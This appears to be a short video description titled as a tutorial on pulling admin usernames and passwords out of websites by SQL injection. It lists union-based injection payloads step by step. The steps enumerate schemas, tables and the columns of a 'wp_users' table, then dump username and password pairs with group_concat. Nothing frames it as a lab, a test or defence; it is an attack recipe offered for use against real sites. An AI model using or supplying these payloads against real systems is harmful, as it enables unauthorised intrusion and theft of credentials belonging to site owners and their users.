How to pull out a password and username by SQL Injection HD

using SQL injection to Pull out Admin Password and Username such as Email or login.. SQL Injection - Killer. #1: group_concat(schema_name) from information_schema.schemata--+- #2: group_concat(table_name) from information_schema.tables WHERE table_schema=database()—+- #3: group_concat(column_name) from information_schema.columns WHERE table_name=“wp_users”—+- THEN : 1,2,3,4,5,group_concat(username,0x3e,password) from DB.TB--+- ^ to see the info... 0x3e Hexed Any MOF Q?